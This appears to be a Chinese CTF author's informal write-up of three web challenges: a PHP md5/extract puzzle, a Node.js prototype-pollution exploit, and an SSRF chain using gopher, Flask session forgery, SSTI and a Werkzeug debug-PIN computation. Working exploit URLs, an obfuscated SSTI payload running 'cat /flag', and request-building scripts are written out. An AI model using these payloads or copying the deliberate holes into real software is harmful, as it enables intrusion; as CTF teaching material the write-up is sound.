写在前面
nmd 新生赛一堆老东西来💥🐟是吧.
👴本来出了三道题,但是有道题因为名字写错了,导致没上成,👴真 tm 是个 sb,👴自认为题目出的简单了,以下细说.
废案之 easy_php
👴tm 本来投题写的是 easy_php, 结果在出题文档写了 ez_php,Xenny 老师没给我上,不过没啥事,毕竟这题太简单了.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php highlight_file (__FILE__ );error_reporting (0 );$num = $_GET ['num' ];$param1 = $_GET ['param1' ];$param2 = $_GET ['param2' ];if ($param2 !==$param1 &&md5 ($param2 )===md5 ($param1 )){ echo "太好了,你绕过了最简单的一层<br/>" ; if (strlen ($num )<=3 & intval ($num )>999999999 ){ echo "恭喜你进来了,继续吧<br/>" ; $kanozyo = "katoumegumi" ; $kami = "enterprise" ; $content = base64_decode ("PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTsgPz4=" ); $file = "new_file.php" ; extract ($_POST ); if ($kanozyo ==="lishanweilai" &&$kami === "korey0sh1" ){ file_put_contents ($file ,"<?php die();" .$content ); }else { echo "太可惜了,我并不是神,我的老婆可是栗山未来<br/>" ; } }else { die ("不够大,太长了<br/>" ); } }else { die ("这么简单的md5都不会绕?<br/>" ); }
反正 php 特性的总结,太简单了,👴不想写 wp 了
成神之日
同样简单的 js, 我以为很多老东西能解出来,没想到只有两个,还有一个是 tm 问我思路的.
源码给你了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 const express = require ("express" );const cookieParser = require ('cookie-parser' )var crypto = require ('crypto' );const app = express ();let list = { 'PWN' :'korey0sh1' ,'WEB1' :'welk1n' ,'WEB2' :'zymic' ,'MISC' :"Cat_zn" ,'CRYPTO' :'Big_Dick' }; const flag = process.env .FLAG function generateRandomNumber ( ) { const randomBytes = crypto.randomBytes (4 ); const randomNumber = randomBytes.readUInt32LE (0 ); return randomNumber; } let admin_token = generateRandomNumber ();const hash = (token ) => crypto.createHash ('md5' ).update (token).digest ('hex' );app.get ('/' , (req, res ) => { res.sendFile (__dirname + "/index.html" ); }); app.get ('/src' , (_, res ) => { res.sendFile (__filename); }); app.get ('/api/add' , (req, res ) => { let { x, y, namae } = req.query ; if (x && y && namae) list[x][y] = namae; res.json (list); }); app.get ('/flag' , (req, res ) => { let userData = {}; if (req.cookies && req.cookies .admin === true ) { userData.admin = true userData.token = admin_token; } if (userData.admin && req.query .token && hash (`Korey0sh1_love_you${req.query.token} zymic_1s_god` ) === userData.token ) { res.send (flag); } else { res.send ("NO" ); } }); app.listen (3000 , "0.0.0.0" );
很明显 flag 是需要条件的,需要 userData.admin
为 true
, 且和字符串拼接后 md5
加密的值与 userData.token
相同.
看到这里,有师傅想着通过 cookies 进入 if, 使得 userData.admin 为 true, 恭喜你,你需要重启靶机了🤣.
正解如下
原型链污染
这段路由可控变量太多了,js 有个东西叫做原型链污染,简单来说就是每个对象默认有个属性 Prototype
指向对象的原型,并且对象的原型也是原型.
大部分正常对象的原型是 Object
. 可以认为 Object
是所有类的父类, Object
也有自己的原型,就是 NULL
, Object
的构造函数指向 Function
.
Function
是用于创造函数对象的,在 js, 函数也可以看作对象,不过这里就不细讲了.
然后一个对象可以通过访问其 __proto__
去获取它的原型对象.
js 有个特性,那就是如果访问一个属性,这个属性该对象不具备的话,并不会直接返回 undefined, 而是会顺着其原型链一级一级往上找,类似于子类找不到的属性从父类找,但是 JS 可以找到向上找 Object, 然后到 NULL
, 都没有的话,就会返回 undefined.
注意:如果要原型链污染,一定需要该对象没有某个属性的值,如果该对象某个属性的值存在,就会直接返回.
所以我说之前靠 cookies 的师傅,恭喜你们掉进坑里了,想要做出来还是得重启靶机了.😊🤣
如果两个对象共享一个原型,通过其中一个对象改变了原型的属性,那么也会影响另一个对象的原型.
题目实现
1 2 3 4 5 app.get ('/api/add' , (req, res ) => { let { x, y, namae } = req.query ; if (x && y && namae) list[x][y] = namae; res.json (list); });
大部分题目都会去污染 Object
, 毕竟 Object 基本上是所有对象都会有的原型.
这里 x
, y
, namae
都可控,直接改原型就行了.
这里就可以将 admin
改成 true
, 但是还不够,还要将 token 改成我们想要的任意值,污染 userdata 的原型,影响其 token 的返回值
1 2 3 /api/add?x=__proto__&y=admin&namae=1 /api/add?x=__proto__&y=token&namae=33e981e155eb62f5646de98c23e0ce02 /flag?token=1
这么打就能满足条件了.
Double_SS 之正解
这道题本来是想整个 SSRF 触发 SSTI 的,然后测试的时候不断修改,先是 file 协议直接读 flag 的非预期,气得👴直接将 flag 改成 400 权限了,然后 python 服务用 root 开启,这样子只能通过 python 去读👴的 flag,👴真 tm 是个天才.
不过👴并没有 ban 各种协议,这就导致我后面发现了一个非预期,不过这个非预期比预期复杂程度高多了,当然我后面也会写,想学的师傅可以看看.
源码鉴赏一波
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php error_reporting (0 );highlight_file (__FILE__);$url=$_POST['url' ]; $ch=curl_init ($url); curl_setopt ($ch, CURLOPT_HEADER , 0 );curl_setopt ($ch, CURLOPT_RETURNTRANSFER , 1 );$result=curl_exec ($ch); curl_close ($ch);echo ($result);
回到正题,上来就是 php 源码,很明显打个 SSRF,👴还贴心地告诉你找 5555 端口 (其实是👴忘了有 file 协议这玩意可以读源码,不然👴把这个 hint 给你 ban 了,难死你们几个 byd)
然后打过去,发现有回显,很明显是个 flask,👴甚至还告诉你 secretkey
, 够仁慈了吧.
不然👴直接让你读内存拿 key.
👴还告诉你怎么 SSTI 了,那么就很简单了.
不懂 SSTI 的自行上网搜,网上大把文章,👴的 waf 也只是象征性地写一下,绕一下很容易的.
这里还涉及到 flasksession 伪造的.
flasksession 伪造
直接上脚本
脚本网上很多,其中比较常用的是
https://github.com/noraj/flask-session-cookie-manager
用法也有,简单展示一下
1 python flask_session_cookie_manager3.py encode -s "76bcf327-fd33-44f3-98eb-530a7351ea1d" -t "{'admin':1}"
本地生成
这个更简单了,这种思维应对很多题目都非常有用.
👴没 banfile 协议,直接读源码都行
理论上自己写个 flask, 设置一下 key 访问都行,实在不会,把源码放在本地里跑,key 一换就行了
gopher 协议
session 搞定了,但是最终还有个问题,就是直接去请求只能携带 get 参数,不能携带 cookie.
于是这时候就需要用的 gopher
协议了,简单来说,就是可以通过一种特殊的形式,传递完整的数据包,包括携带 headers,post 传参之类的.
形式如下:
于是使用 python 的 +urllib.parse
制造一个脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 import urllib.parse test2 =\ "" "GET /name?name=%7B%7B%22%22%5B%22__c%22%22lass__%22%5D%5B%22__b%22%22ases__%22%5D%5B0%5D%5B%22__subcl%22%22asses__%22%5D()%5B133%5D%5B%22__in%22%22it__%22%5D%5B%22__gl%22%22obals__%22%5D%5B'po''pen'%5D('ca''t%20%2F*').read()%7D%7D HTTP/1.1 Host: 127.0.0.1:5555 Cookie: session=eyJhZG1pbiI6MX0.ZXM1Hw.3T3ehyY4yIAG3x107z5UT3hKTD4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Edg/116.0.1938.69 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 " "" tmp = urllib.parse .quote (test2) new = tmp.replace ('%0A' ,'%0D%0A' )result = 'gopher://127.0.0.1:5555/' +'_' +urllib.parse .quote (new ) print (result)
不过由于 python 多行引用是只有单换行,而报文结尾是 \r\n
, 所以需要替换一下.
最后 ssti 如下
1 {{"" ["__c" "lass__" ]["__b" "ases__" ][0 ]["__subcl" "asses__" ]()[133 ]["__in" "it__" ]["__gl" "obals__" ]['po' 'pen' ]('ca' 't /*' ).read ()}}
简单的中括号获取属性,字符串拼接,没啥好说的
记得 url 编码后放在报文里面.
比较简单
Double_SS 之非预期
由于👴代码是缝缝补补出来的,忘记关 debug, 于是就是有非预期,而且咋就那么巧呢,还可以通过 file 协议读文件.
但是 SSRF 利用 console 有一定难度,各位师傅看看就好.
算 pin 码
debug 模式开了之后,访问 console 会出现一个输入 pin 码的地方,输入正确的 pin, 就能进去执行任意 python 代码,不过 pin 码是有算法逻辑的.
具体来说脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import hashlibfrom itertools import chainprobably_public_bits = [ "root" ,#/etc/passwd "flask.app" ,#默认 "Flask" ,#默认 '/usr/local/lib/python3.9/dist-packages/flask/app.py' ,#一个路径信息 ] addr = "02:42:ac:02:1d:64" boot_id = "fcf66b92-efb4-40db-b14b-952a04033668" cgroup = "4184c5b8cc23b91413e5c41e35a5c66ea81cc007e0cc3ed46d5c55bf2d3e3524" private_bits = [ str (int ("0x" +addr.replace (":" ,"" ),16 )), #/sys/class /net/eth0/address 十六进制转十进制 boot_id+cgroup ]#读取/proc/sys/kernel/random/boot_id和/proc/self/cgroup拼接而成 h = hashlib.sha1 () for bit in chain (probably_public_bits, private_bits): if not bit : continue if isinstance (bit, str): bit = bit.encode ("utf-8" ) h.update (bit) h.update (b"cookiesalt" ) cookie_name = f"__wzd{h.hexdigest()[:20]}" # If we need to generate a pin we salt it a bit more so that we don't # end up with the same value and generate out 9 digits num = None if num is None: h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9] # Format the pincode in groups of digits for easier remembering if # we don' t have a result yet.rv = None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = "-" .join ( num[x : x + group_size].rjust (group_size, "0" ) for x in range (0 , len (num), group_size) ) break else : rv = num print (rv)print (cookie_name)
这么长也不用害怕,因为都是从库的源码里面翻出来的,我们只是对传入的参数依照题目环境修改
分为两部分
1 2 3 4 5 6 7 probably_public_bits = [ "root" ,#/etc/passwd "flask.app" ,#默认 "Flask" ,#默认 '/usr/local/lib/python3.9/dist-packages/flask/app.py' ,#flask的路径,通过报错得到 ]
第一部分的信息来源
用户信息:当前用户,由于我是 root 权限开启,直接就是 root, 中间都是默认的
路径信息直接报错得到
第二部分
1 2 3 4 private_bits = [ str (int ("0x" +addr.replace (":" ,"" ),16 )), #/sys/class /net/eth0/address 十六进制转十进制 boot_id+cgroup ]
按照要求读每个文件就行,
boot_id: 读取 /proc/sys/kernel/random/boot_id
或 /etc/machineid
能读到哪个就用哪个
cgroup: 当前进程分配,读 /proc/self/cgroup
, 取一行最后一个 / 的最后所有部分,不满足两个 /
号就放空
正常来说直接就算 pin 码就行了,但是本题由于是通过 SSRF 去触发的,实际上是不能直接和 console 的算 pin 码的地方直接就行交互
要通过参数进行 rce.
修改本地环境
有些参数需要本地环境修改搭起来后才能获取,于是修改本地的一些参数.
要修改的地方在 site-packages\werkzeug\debug\__init__.py
直接改参数就好
生成 pin 如下:
进去输入 hello world
观察本地日志
可以看到是如何进行交互的,需要输入一些参数
1 /console ?&__debugger__=yes&cmd=print ('hello%20world' )&frm=0 &s=3FZpTUaj0dQxTYcLZEgS
cmd 就是我们的 python 指令,frm 为 0 不用管.
s 的话访问 console 就会返回
记得通过源码去观看
最后还有个 cookies, 因为目前还没有任何东西能证明我们输入的 pin 码是对的,那么能证明 pin 码的就是 cookie
使用该 cookie 访问,访问 console 不会要求你输入 pin 码.
1 __wzd9b6ccf942a2d4be0994c=1702050544 |7042449f328c
exp
1 2 3 4 5 6 7 8 9 10 11 test3 =\ "" "GET /console?__debugger__=yes&cmd=__import__('os').popen('cat%20%2Fflag').read()&frm=0&s=9FPI6o2CgAggq3jBjcV9 HTTP/1.1 Host: 127.0.0.1:5555 Cookie: session=eyJhZG1pbiI6MX0.ZWbvig.l215-wFOVQ7HHFD-xi2pkMNxaIM;__wzd9b6ccf942a2d4be0994c=1702050544|7042449f328c User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Edg/116.0.1938.69 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 " "" tmp = urllib.parse .quote (test3) new = tmp.replace ('%0A' ,'%0D%0A' )result = 'gopher://127.0.0.1:5555/' +'_' +urllib.parse .quote (new ) print (result)
这是有回显的,曾经复现过 SCTF 无回显的 SSRF, 难度爆炸.
END